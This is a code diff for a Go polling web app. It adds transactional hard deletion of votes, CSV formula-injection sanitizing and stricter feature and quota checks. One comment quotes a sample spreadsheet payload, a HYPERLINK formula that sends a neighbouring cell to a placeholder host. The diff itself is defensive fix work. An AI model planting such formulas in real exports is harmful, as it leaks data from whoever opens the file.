if err := db.Votes.DeleteByID(ctx.Request().Context(), vote.ID); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote")
|
||||
// 级联删除必须是一个事务:原来四步独立写入、前三步失败只打 Warn,
|
||||
// 中途失败会留下「选项没了但投票记录还在」这种界面无法修复的状态 ——
|
||||
// 而重试删除时投票已不存在,只能报 not exist,脏数据永远留着。
|
||||
//
|
||||
// 顺带修掉一个隐私问题:这些表都带软删除,原来的 Delete 全是软删,
|
||||
// 提交记录里参与者填写的文本、voter_ip、voter_token 只是「界面上看不到」,
|
||||
// 库里永久留着。DeleteWithCascade 对四张表统一走 Unscoped 真删。
|
||||
if err := db.Votes.DeleteWithCascade(ctx.Request().Context(), vote.ID); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote with cascade")
|
||||
ctx.SetInternalErrorFlash()
|
||||
ctx.Redirect("/user/questions#votes")
|
||||
return
|
||||
}
|
||||
|
||||
// 删除成功后再失效缓存。放在事务之后是有意的:
|
||||
// 若先删缓存而事务回滚,读请求会立刻重新算一遍并再次填进旧值。
|
||||
votepkg.InvalidateResultsCache(vote.ID)
|
||||
|
||||
ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.deleted"))
|
||||
ctx.Redirect("/user/questions#votes")
|
||||
}
|
||||
@@ -1206,13 +1208,21 @@ func VoteResults(ctx context.Context) {
|
||||
ctx.Success("user/vote-results")
|
||||
}
|
||||
|
||||
// sanitizeCSVCell 防止 CSV 公式注入:以 = + - @ 开头的单元格会被 Excel/Numbers
|
||||
// 当作公式执行,前置单引号强制按纯文本处理。
|
||||
// sanitizeCSVCell 防 CSV 公式注入。
|
||||
//
|
||||
// Excel / LibreOffice / WPS 会把以 = + - @ 开头的单元格当公式执行,
|
||||
// 于是「选项名」或「参与者填的文本」里写 =HYPERLINK("http://x?"&A1) 就能在
|
||||
// 打开导出文件的人机器上把邻列内容外带出去。前置单引号会让它变成纯文本
|
||||
// (CSV 里单引号不会显示出来,Excel 读到也不当公式)。
|
||||
//
|
||||
// 判断用 trim 后的首字符:带前导空格/制表符的 =SUM(1) 在部分表格软件里
|
||||
// 仍会被解析成公式,只看第一个字节会漏。
|
||||
func sanitizeCSVCell(s string) string {
|
||||
if s == "" {
|
||||
trimmed := strings.TrimLeft(s, " \t\r\n")
|
||||
if trimmed == "" {
|
||||
return s
|
||||
}
|
||||
r := []rune(s)[0]
|
||||
r := []rune(trimmed)[0]
|
||||
if r == '=' || r == '+' || r == '-' || r == '@' {
|
||||
return "'" + s
|
||||
}
|
||||
@@ -1261,9 +1271,10 @@ func VoteExportCSV(ctx context.Context) {
|
||||
|
||||
if vote.Type == db.VoteTypeForm {
|
||||
fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
|
||||
// 字段名是箱主自己填的,同样可能是 =HYPERLINK(...) 形式。
|
||||
header := []string{"提交时间"}
|
||||
for _, f := range fields {
|
||||
header = append(header, f.Label)
|
||||
header = append(header, sanitizeCSVCell(f.Label))
|
||||
}
|
||||
_ = w.Write(header)
|
||||
|
||||
@@ -1288,7 +1299,7 @@ func VoteExportCSV(ctx context.Context) {
|
||||
switch res.Type {
|
||||
case db.VoteTypeSingle, db.VoteTypeMultiple:
|
||||
for _, o := range res.Options {
|
||||
_ = w.Write([]string{o.Option.Content, strconv.FormatInt(o.Count, 10)})
|
||||
_ = w.Write([]string{sanitizeCSVCell(o.Option.Content), strconv.FormatInt(o.Count, 10)})
|
||||
}
|
||||
case db.VoteTypeRating:
|
||||
for _, r := range res.Ratings {
|
||||
@@ -1297,7 +1308,7 @@ func VoteExportCSV(ctx context.Context) {
|
||||
_ = w.Write([]string{"平均分", fmt.Sprintf("%.2f", res.AvgRating)})
|
||||
case db.VoteTypeRank:
|
||||
for _, r := range res.Rankings {
|
||||
_ = w.Write([]string{r.Option.Content, fmt.Sprintf("%.2f", r.AvgRank)})
|
||||
_ = w.Write([]string{sanitizeCSVCell(r.Option.Content), fmt.Sprintf("%.2f", r.AvgRank)})
|
||||
}
|
||||
_ = w.Write([]string{"平均排名", fmt.Sprintf("%.2f", res.AvgRank)})
|
||||
}
|
||||
|
||||
+12
-5
@@ -617,7 +617,14 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
|
||||
lang := ctxLang(ctx)
|
||||
|
||||
// 箱主关闭投票功能(开关 / 定时 / 定量)时拒绝参与,避免绕过页面上的禁用态直接 POST。
|
||||
if voteState := db.FeatureStateOf(ctx.Request().Context(), vote.UserID, db.FeatureVote); !voteState.Open {
|
||||
// 严格版:读配置失败时拒绝,避免「箱主已关闭投票 / 已达上限」被一次配置读失败绕过去。
|
||||
voteState, err := db.FeatureStateOfStrict(ctx.Request().Context(), vote.UserID, db.FeatureVote)
|
||||
if err != nil {
|
||||
ctx.SetErrorFlash(i18n.T(lang, "feature.stateUnavailable"))
|
||||
ctx.Redirect("/vote/" + vote.LinkToken)
|
||||
return
|
||||
}
|
||||
if !voteState.Open {
|
||||
ctx.SetErrorFlash(i18n.FeatureClosedMessage(lang, db.FeatureVote, voteState.Reason))
|
||||
ctx.Redirect("/vote/" + vote.LinkToken)
|
||||
return
|
||||
@@ -711,6 +718,8 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
|
||||
}
|
||||
submission.VoterToken = voterToken
|
||||
|
||||
// QuotaUserID 让「票数计入箱主的定量收集」与提交本身落在同一个事务里。
|
||||
submission.QuotaUserID = vote.UserID
|
||||
if _, err := db.VoteSubmissions.Create(ctx.Request().Context(), *submission); err != nil {
|
||||
if errors.Is(err, db.ErrVoteAlreadyVoted) {
|
||||
ctx.SetErrorFlash(i18n.T(lang, "vote.page.alreadyVoted"))
|
||||
@@ -728,10 +737,8 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
|
||||
// 用 InvalidateResultsCache 会让每一票都变成下一个读请求的同步全量重算(O(N²))。
|
||||
ExpireResultsCache(vote.ID)
|
||||
|
||||
// 定量收集:箱主级累计一份;单份投票设置上限后达到即自动结束该投票。
|
||||
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), vote.UserID, db.FeatureVote, 1); err != nil {
|
||||
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment vote feature quota")
|
||||
}
|
||||
// 单份投票的份数上限:达到即自动结束该投票。
|
||||
// (箱主级的累计计数已由 VoteSubmissions.Create 在同一事务里 +1,这里不再重复)
|
||||
if vote.QuotaLimit > 0 {
|
||||
count, err := db.VoteSubmissions.CountByVoteID(ctx.Request().Context(), vote.ID)
|
||||
if err != nil {
|
||||
|
||||
Reference in New Issue
Block a user